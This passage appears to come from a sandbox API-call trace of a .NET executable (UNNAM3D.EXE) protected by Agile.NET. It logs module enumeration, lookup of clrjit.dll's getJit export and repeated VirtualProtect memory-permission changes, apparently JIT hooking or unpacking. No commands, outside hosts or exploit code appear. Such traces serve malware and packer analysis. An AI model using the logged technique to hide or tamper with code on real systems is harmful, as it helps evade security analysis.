(lpString1="mscorlib.ni.dll", lpString2="mscorjit.dll") returned 1 [0038.973] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75a10000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="ole32.dll") returned 0x9 [0038.973] lstrcmpiA (lpString1="ole32.dll", lpString2="mscorjit.dll") returned 1 [0038.973] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75460000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="uxtheme.dll") returned 0xb [0038.973] lstrcmpiA (lpString1="uxtheme.dll", lpString2="mscorjit.dll") returned 1 [0038.973] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75260000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="clrjit.dll") returned 0xa [0038.974] lstrcmpiA (lpString1="clrjit.dll", lpString2="mscorjit.dll") returned -1 [0038.974] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x76b90000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0038.974] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="mscorjit.dll") returned 1 [0038.974] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75570000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="nlssorting.dll") returned 0xe [0038.974] lstrcmpiA (lpString1="nlssorting.dll", lpString2="mscorjit.dll") returned 1 [0038.974] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x721d0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="System.ni.dll") returned 0xd [0038.975] lstrcmpiA (lpString1="System.ni.dll", lpString2="mscorjit.dll") returned 1 [0038.975] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x71c00000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="AgileDotNetRT.dll") returned 0x11 [0038.975] lstrcmpiA (lpString1="AgileDotNetRT.dll", lpString2="mscorjit.dll") returned -1 [0038.975] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x76e60000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="PSAPI.DLL") returned 0x9 [0038.975] lstrcmpiA (lpString1="PSAPI.DLL", lpString2="mscorjit.dll") returned 1 [0038.975] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77240000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="CRYPT32.dll") returned 0xb [0038.976] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="mscorjit.dll") returned -1 [0038.976] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77020000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="MSASN1.dll") returned 0xa [0038.976] lstrcmpiA (lpString1="MSASN1.dll", lpString2="mscorjit.dll") returned -1 [0038.976] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75c10000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="shell32.dll") returned 0xb [0038.976] lstrcmpiA (lpString1="shell32.dll", lpString2="mscorjit.dll") returned 1 [0038.976] GetProcessHeap () returned 0x3d0000 [0038.976] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x43c320 | out: hHeap=0x3d0000) returned 1 [0038.976] GetCurrentProcess () returned 0xffffffff [0038.976] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x0, cb=0x0, lpcbNeeded=0x32d694 | out: lphModule=0x0, lpcbNeeded=0x32d694) returned 1 [0038.977] GetProcessHeap () returned 0x3d0000 [0038.977] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x220) returned 0x43c320 [0038.977] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x43c320, cb=0x220, lpcbNeeded=0x32d694 | out: lphModule=0x43c320, lpcbNeeded=0x32d694) returned 1 [0038.977] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0xb00000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="UNNAM3D.EXE") returned 0xb [0038.977] lstrcmpiA (lpString1="UNNAM3D.EXE", lpString2="clrjit.dll") returned 1 [0038.977] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77de0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="ntdll.dll") returned 0x9 [0038.977] lstrcmpiA (lpString1="ntdll.dll", lpString2="clrjit.dll") returned 1 [0038.977] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75500000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0038.977] lstrcmpiA (lpString1="MSCOREE.DLL", lpString2="clrjit.dll") returned 1 [0038.977] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x769a0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="KERNEL32.dll") returned 0xc [0038.978] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="clrjit.dll") returned 1 [0038.978] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77990000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0038.978] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="clrjit.dll") returned 1 [0038.978] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x771a0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0038.978] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="clrjit.dll") returned -1 [0038.978] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x776b0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="msvcrt.dll") returned 0xa [0038.978] lstrcmpiA (lpString1="msvcrt.dll", lpString2="clrjit.dll") returned 1 [0038.978] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x759a0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="sechost.dll") returned 0xb [0038.978] lstrcmpiA (lpString1="sechost.dll", lpString2="clrjit.dll") returned 1 [0038.978] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x76c70000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="RPCRT4.dll") returned 0xa [0038.978] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="clrjit.dll") returned 1 [0038.978] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75940000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="SspiCli.dll") returned 0xb [0038.978] lstrcmpiA (lpString1="SspiCli.dll", lpString2="clrjit.dll") returned 1 [0038.978] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75930000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0038.979] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="clrjit.dll") returned 1 [0038.979] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x753e0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="mscoreei.dll") returned 0xc [0038.979] lstrcmpiA (lpString1="mscoreei.dll", lpString2="clrjit.dll") returned 1 [0038.979] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77360000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0038.979] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="clrjit.dll") returned 1 [0038.979] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77800000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="GDI32.dll") returned 0x9 [0038.979] lstrcmpiA (lpString1="GDI32.dll", lpString2="clrjit.dll") returned 1 [0038.979] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x76d60000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="USER32.dll") returned 0xa [0038.979] lstrcmpiA (lpString1="USER32.dll", lpString2="clrjit.dll") returned 1 [0038.979] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75b70000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="LPK.dll") returned 0x7 [0038.980] lstrcmpiA (lpString1="LPK.dll", lpString2="clrjit.dll") returned 1 [0038.980] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77760000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="USP10.dll") returned 0x9 [0038.980] lstrcmpiA (lpString1="USP10.dll", lpString2="clrjit.dll") returned 1 [0038.980] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77030000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="IMM32.DLL") returned 0x9 [0038.980] lstrcmpiA (lpString1="IMM32.DLL", lpString2="clrjit.dll") returned 1 [0038.980] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x770d0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="MSCTF.dll") returned 0x9 [0038.980] lstrcmpiA (lpString1="MSCTF.dll", lpString2="clrjit.dll") returned 1 [0038.980] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75870000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="VERSION.dll") returned 0xb [0038.981] lstrcmpiA (lpString1="VERSION.dll", lpString2="clrjit.dll") returned 1 [0038.981] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74640000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="clr.dll") returned 0x7 [0038.981] lstrcmpiA (lpString1="clr.dll", lpString2="clrjit.dll") returned -1 [0038.981] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x752e0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0038.981] lstrcmpiA (lpString1="MSVCR120_CLR0400.dll", lpString2="clrjit.dll") returned 1 [0038.981] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x72b80000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0038.981] lstrcmpiA (lpString1="mscorlib.ni.dll", lpString2="clrjit.dll") returned 1 [0038.981] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75a10000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="ole32.dll") returned 0x9 [0038.982] lstrcmpiA (lpString1="ole32.dll", lpString2="clrjit.dll") returned 1 [0038.982] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75460000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="uxtheme.dll") returned 0xb [0038.982] lstrcmpiA (lpString1="uxtheme.dll", lpString2="clrjit.dll") returned 1 [0038.982] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75260000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="clrjit.dll") returned 0xa [0038.982] lstrcmpiA (lpString1="clrjit.dll", lpString2="clrjit.dll") returned 0 [0038.982] GetProcessHeap () returned 0x3d0000 [0038.982] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x43c320 | out: hHeap=0x3d0000) returned 1 [0038.982] lstrcatW (in: lpString1="", lpString2="clrjit.dll" | out: lpString1="clrjit.dll") returned="clrjit.dll" [0038.982] GetFileVersionInfoSizeW (in: lptstrFilename="clrjit.dll", lpdwHandle=0x32dc88 | out: lpdwHandle=0x32dc88) returned 0x7f4 [0038.982] GetProcessHeap () returned 0x3d0000 [0038.982] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x7f4) returned 0x43c320 [0038.982] GetFileVersionInfoW (in: lptstrFilename="clrjit.dll", dwHandle=0x0, dwLen=0x7f4, lpData=0x43c320 | out: lpData=0x43c320) returned 1 [0038.983] lstrcpyA (in: lpString1=0x32dc94, lpString2="\\StringFileInfo\\040904b0\\FileVersion" | out: lpString1="\\StringFileInfo\\040904b0\\FileVersion") returned="\\StringFileInfo\\040904b0\\FileVersion" [0038.983] VerQueryValueA (in: pBlock=0x43c320, lpSubBlock="\\StringFileInfo\\040904b0\\FileVersion", lplpBuffer=0x32dc90, puLen=0x32dc8c | out: lplpBuffer=0x32dc90*=0x43c8a4, puLen=0x32dc8c) returned 1 [0038.983] lstrcmpA (lpString1="4.6.81.0 built by: NETFXREL2", lpString2="4.0.30319.17020 built by: FXM3REL") returned 1 [0038.983] LoadLibraryW (lpLibFileName="clrjit.dll") returned 0x75260000 [0038.983] GetProcAddress (hModule=0x75260000, lpProcName="getJit") returned 0x752af70e [0038.983] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0038.983] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0038.983] GetProcessHeap () returned 0x3d0000 [0038.983] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x43c320 | out: hHeap=0x3d0000) returned 1 [0038.983] GetModuleFileNameW (in: hModule=0x75260000, lpFilename=0x32d92c, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0038.983] lstrcpyW (in: lpString1=0x32d400, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" [0038.983] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll"), dwDesiredAccess=0x1, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0038.983] GetFileSize (in: hFile=0x234, lpFileSizeHigh=0x32d11c | out: lpFileSizeHigh=0x32d11c*=0x0) returned 0x7c898 [0038.983] GetProcessHeap () returned 0x3d0000 [0038.983] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x7c898) returned 0x43cc48 [0038.984] ReadFile (in: hFile=0x234, lpBuffer=0x43cc48, nNumberOfBytesToRead=0x7c898, lpNumberOfBytesRead=0x32d118, lpOverlapped=0x0 | out: lpBuffer=0x43cc48*, lpNumberOfBytesRead=0x32d118*=0x7c898, lpOverlapped=0x0) returned 1 [0038.991] CloseHandle (hObject=0x234) returned 1 [0038.991] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0038.991] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0038.991] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0038.991] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0038.991] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0038.991] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0038.991] GetProcessHeap () returned 0x3d0000 [0038.991] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1d4) returned 0x43c320 [0038.991] GetProcessHeap () returned 0x3d0000 [0038.991] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1d4) returned 0x43c500 [0038.991] GetProcessHeap () returned 0x3d0000 [0038.991] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x6cf58) returned 0x53e0048 [0038.997] GetProcessHeap () returned 0x3d0000 [0038.997] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x6cf58) returned 0x544cfa8 [0039.050] GetProcessHeap () returned 0x3d0000 [0039.050] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x43c500 | out: hHeap=0x3d0000) returned 1 [0039.050] GetProcessHeap () returned 0x3d0000 [0039.050] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x43cc48 | out: hHeap=0x3d0000) returned 1 [0039.050] GetProcessHeap () returned 0x3d0000 [0039.050] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x43c320 | out: hHeap=0x3d0000) returned 1 [0039.050] GetProcessHeap () returned 0x3d0000 [0039.050] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54b9f20 [0039.050] VirtualQuery (in: lpAddress=0x752ce158, lpBuffer=0x32e05c, dwLength=0x1c | out: lpBuffer=0x32e05c*(BaseAddress=0x752ce000, AllocationBase=0x75260000, AllocationProtect=0x80, RegionSize=0x9000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0039.050] VirtualProtect (in: lpAddress=0x752ce000, dwSize=0x9000, flNewProtect=0x4, lpflOldProtect=0x32e070 | out: lpflOldProtect=0x32e070*=0x2) returned 1 [0039.051] VirtualProtect (in: lpAddress=0x752ce000, dwSize=0x9000, flNewProtect=0x2, lpflOldProtect=0x32e058 | out: lpflOldProtect=0x32e058*=0x4) returned 1 [0039.051] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32d1e4, nSize=0x64 | out: lpBuffer="") returned 0x0 [0039.051] GetProcessHeap () returned 0x3d0000 [0039.051] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54b9f38 [0039.051] GetCurrentProcess () returned 0xffffffff [0039.051] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x0, cb=0x0, lpcbNeeded=0x32d170 | out: lphModule=0x0, lpcbNeeded=0x32d170) returned 1 [0039.052] GetProcessHeap () returned 0x3d0000 [0039.052] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x220) returned 0x43c8f0 [0039.052] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x43c8f0, cb=0x220, lpcbNeeded=0x32d170 | out: lphModule=0x43c8f0, lpcbNeeded=0x32d170) returned 1 [0039.052] GetModuleInformation (in: hProcess=0xffffffff, hModule=0xb00000, lpmodinfo=0x32d160, cb=0xc | out: lpmodinfo=0x32d160*(lpBaseOfDll=0xb00000, SizeOfImage=0x7bc000, EntryPoint=0x12b6d12)) returned 1 [0039.052] GetProcessHeap () returned 0x3d0000 [0039.052] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x43c8f0 | out: hHeap=0x3d0000) returned 1 [0039.052] VirtualQuery (in: lpAddress=0xb02008, lpBuffer=0x32cb4c, dwLength=0x1c | out: lpBuffer=0x32cb4c*(BaseAddress=0xb02000, AllocationBase=0xb00000, AllocationProtect=0x80, RegionSize=0x7b5000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0039.052] VirtualQuery (in: lpAddress=0xb0204f, lpBuffer=0x32cb4c, dwLength=0x1c | out: lpBuffer=0x32cb4c*(BaseAddress=0xb02000, AllocationBase=0xb00000, AllocationProtect=0x80, RegionSize=0x7b5000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0039.052] VirtualQuery (in: lpAddress=0xb02d7c, lpBuffer=0x32cb4c, dwLength=0x1c | out: lpBuffer=0x32cb4c*(BaseAddress=0xb02000, AllocationBase=0xb00000, AllocationProtect=0x80, RegionSize=0x7b5000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0039.053] VirtualQuery (in: lpAddress=0xb084b3, lpBuffer=0x32cb4c, dwLength=0x1c | out: lpBuffer=0x32cb4c*(BaseAddress=0xb08000, AllocationBase=0xb00000, AllocationProtect=0x80, RegionSize=0x7af000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0039.053] VirtualQuery (in: lpAddress=0xb084b4, lpBuffer=0x32cb4c, dwLength=0x1c | out: lpBuffer=0x32cb4c*(BaseAddress=0xb08000, AllocationBase=0xb00000, AllocationProtect=0x80, RegionSize=0x7af000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0039.053] VirtualQuery (in: lpAddress=0xb084c3, lpBuffer=0x32cb4c, dwLength=0x1c | out: lpBuffer=0x32cb4c*(BaseAddress=0xb08000, AllocationBase=0xb00000, AllocationProtect=0x80, RegionSize=0x7af000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0039.053] GetProcessHeap () returned 0x3d0000 [0039.053] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1810) returned 0x43cc48 [0039.053] GetProcessHeap () returned 0x3d0000 [0039.053] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x14) returned 0x41a038 [0039.053] GetProcessHeap () returned 0x3d0000 [0039.053] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x40) returned 0x431fb8 [0039.053] GetProcessHeap () returned 0x3d0000 [0039.053] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x30) returned 0x434f20 [0039.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32ca00 | out: lpSystemTimeAsFileTime=0x32ca00*(dwLowDateTime=0x2dffeb80, dwHighDateTime=0x1d4e94c)) [0039.053] CompareFileTime (lpFileTime1=0x32ca08, lpFileTime2=0x32ca00) returned 1 [0039.053] GetProcessHeap () returned 0x3d0000 [0039.053] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x54b9f50 [0039.053] GetProcessHeap () returned 0x3d0000 [0039.053] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x14) returned 0x419f58 [0039.059] VirtualProtect (in: lpAddress=0xb020b8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.059] VirtualProtect (in: lpAddress=0xb020c0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.059] VirtualProtect (in: lpAddress=0xb020c8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.060] VirtualProtect (in: lpAddress=0xb020d0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.060] VirtualProtect (in: lpAddress=0xb020d8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.060] VirtualProtect (in: lpAddress=0xb020e0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.060] VirtualProtect (in: lpAddress=0xb020e8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.061] VirtualProtect (in: lpAddress=0xb020f0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.061] VirtualProtect (in: lpAddress=0xb020f8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.062] VirtualProtect (in: lpAddress=0xb02100, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.062] VirtualProtect (in: lpAddress=0xb02118, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.062] VirtualProtect (in: lpAddress=0xb02120, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.062] VirtualProtect (in: lpAddress=0xb02128, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.063] VirtualProtect (in: lpAddress=0xb02130, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.063] VirtualProtect (in: lpAddress=0xb02138, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.063] VirtualProtect (in: lpAddress=0xb02140, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.064] VirtualProtect (in: lpAddress=0xb02150, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.064] VirtualProtect (in: lpAddress=0xb02158, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.064] VirtualProtect (in: lpAddress=0xb02170, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.064] VirtualProtect (in: lpAddress=0xb02178, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.065] VirtualProtect (in: lpAddress=0xb02180, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.065] VirtualProtect (in: lpAddress=0xb02188, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.065] VirtualProtect (in: lpAddress=0xb02190, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.066] VirtualProtect (in: lpAddress=0xb02198, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.066] VirtualProtect (in: lpAddress=0xb021a0, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.066] VirtualProtect (in: lpAddress=0xb021a8, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.066] VirtualProtect (in: lpAddress=0xb021b8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.067] VirtualProtect (in: lpAddress=0xb021c0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.067] VirtualProtect (in: lpAddress=0xb021c8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.067] VirtualProtect (in: lpAddress=0xb021d0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.068] VirtualProtect (in: lpAddress=0xb021d8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.068] VirtualProtect (in: lpAddress=0xb021e0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.068] VirtualProtect (in: lpAddress=0xb021e8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.068] VirtualProtect (in: lpAddress=0xb021f0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.069] VirtualProtect (in: lpAddress=0xb021f8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.069] VirtualProtect (in: lpAddress=0xb02200, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.069] VirtualProtect (in: lpAddress=0xb02208, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.070] VirtualProtect (in: lpAddress=0xb02210, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.070] VirtualProtect (in: lpAddress=0xb02250, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.070] VirtualProtect (in: lpAddress=0xb02258, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.070] VirtualProtect (in: lpAddress=0xb02260, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.071] VirtualProtect (in: lpAddress=0xb02268, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.071] VirtualProtect (in: lpAddress=0xb02274, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.071] VirtualProtect (in: lpAddress=0xb0227c, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.071] VirtualProtect (in: lpAddress=0xb02284, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: 